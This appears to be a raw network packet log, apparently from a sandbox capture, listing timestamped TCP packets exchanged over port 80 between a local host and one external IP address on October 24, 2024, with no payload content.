Oct 24, 2024 13:27:01.807149887 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.807157993 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.807172060 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.807188034 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.807189941 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.807203054 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.807214975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.807219028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.807236910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.807250977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.807257891 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.807296038 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.807919979 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.807938099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.807954073 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.807970047 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.807985067 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.807986021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.808002949 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.808017969 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.808023930 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.808033943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.808049917 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.808058023 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.808068037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.808087111 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.808109045 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.911494970 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.911546946 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.911565065 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.911596060 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.911606073 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.911642075 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.911655903 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.911679029 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.911696911 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.911715984 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.911724091 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.911760092 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.911777020 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.911812067 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.911828041 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.911848068 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.911854029 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.911883116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.911890984 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.911920071 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.911926985 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.911967993 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.911978960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.912014008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.912031889 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.912046909 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.912056923 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.912081957 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.912091970 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.912117004 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.912132025 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.912149906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.912163973 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.912185907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.912197113 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.912230968 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.912564993 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.912601948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.912621021 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.912637949 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.912652016 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.912667036 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.912681103 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.912718058 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.912755966 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.912790060 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.912810087 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.912825108 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.912852049 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.912877083 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.912879944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.912914991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.912930012 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.912945032 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.912954092 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.912980080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.912997961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.913014889 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.913039923 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.913048029 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.913062096 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.913083076 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.913094997 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.913116932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.913151026 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.913175106 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.913187981 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.913203955 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.913290024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.913743019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.913774014 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.913804054 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.913810968 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.913837910 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.913845062 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.913856030 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.913880110 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.913891077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.913913965 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.913919926 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.913949013 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.913958073 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.913984060 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.913994074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.914019108 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.914027929 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.914052963 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.914062977 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.914083004 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.914093971 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.914117098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.914124966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.914153099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.914160967 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.914196014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.914602041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.914634943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.914655924 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.914669991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.914679050 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.914705992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.914712906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.914741993 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.914751053 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.914783955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.914793968 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.914819002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.914828062 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.914854050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.914861917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.914889097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.914895058 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.914922953 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.914932013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.914957047 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.914968014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.914994001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.915002108 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.915036917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.915790081 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.915836096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.915849924 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.915874004 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.915879011 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.915910959 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.915919065 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.915942907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.915955067 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.915977955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.915985107 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.916014910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.916017056 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.916049004 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.916059971 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.916085005 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.916093111 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.916119099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.916126966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.916155100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.916162014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.916188002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.916197062 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.916222095 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.916229963 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.916258097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.916265965 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.916300058 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.916425943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.916462898 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.916476965 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.916496992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.916505098 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.916539907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.916542053 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.916573048 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.916582108 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.916605949 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.916615009 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.916640997 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.916652918 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.916676044 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.916678905 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.916711092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.916718960 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.916749001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.916759014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.916781902 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.916790962 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.916816950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.916827917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.916852951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.916861057 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.916894913 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.917367935 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.917403936 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.917418003 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.917438030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.917447090 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.917474985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.917490959 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.917509079 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.917522907 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.917542934 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.917553902 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.917576075 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.917588949 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.917609930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.917622089 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.917644978 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.917664051 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.917679071 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.917686939 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.917712927 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.917726040 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.917747021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.917756081 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.917776108 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.917793036 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.917809963 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.917818069 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.917850971 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.918356895 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.918392897 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.918411970 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.918426991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.918447018 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.918462992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.918474913 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.918498039 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.918529034 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.918531895 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.918555975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.918565989 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.918591022 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.918603897 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.918628931 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.918637037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.918656111 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.918672085 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.918687105 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.918705940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.918716908 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.918740988 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.918750048 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.918775082 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.918786049 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.918819904 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.919308901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.919359922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.919369936 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.919404984 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.919414997 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.919440031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.919450998 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.919475079 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.919485092 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.919509888 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.919523954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.919543982 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.919557095 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.919579029 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.919595003 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.919612885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.919632912 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.919648886 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.919672966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.919682980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.919709921 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.919718981 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.919744968 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.919751883 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.919768095 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.919794083 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.920095921 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.920130968 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.920151949 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.920160055 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.920173883 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.920195103 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.920209885 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.920228958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.920233011 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.920264006 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.920278072 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.920296907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.920331955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.920361042 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.920367002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.920389891 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.920401096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.920413971 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.920435905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.920449018 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.920471907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.920478106 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.920506001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.920516014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.920542002 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.920542002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.920576096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.920600891 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.920609951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.920634031 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.920660973 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.921072006 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.921106100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.921133041 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.921139956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.921149015 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.921175003 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.921183109 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.921212912 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.921216965 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.921247959 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.921263933 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.921282053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.921288967 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.921318054 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.921324015 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.921351910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.921367884 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.921386003 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.921394110 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.921421051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:01.921433926 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:01.921457052 CEST	80	49730	109.107.157.208	192.168.2.4
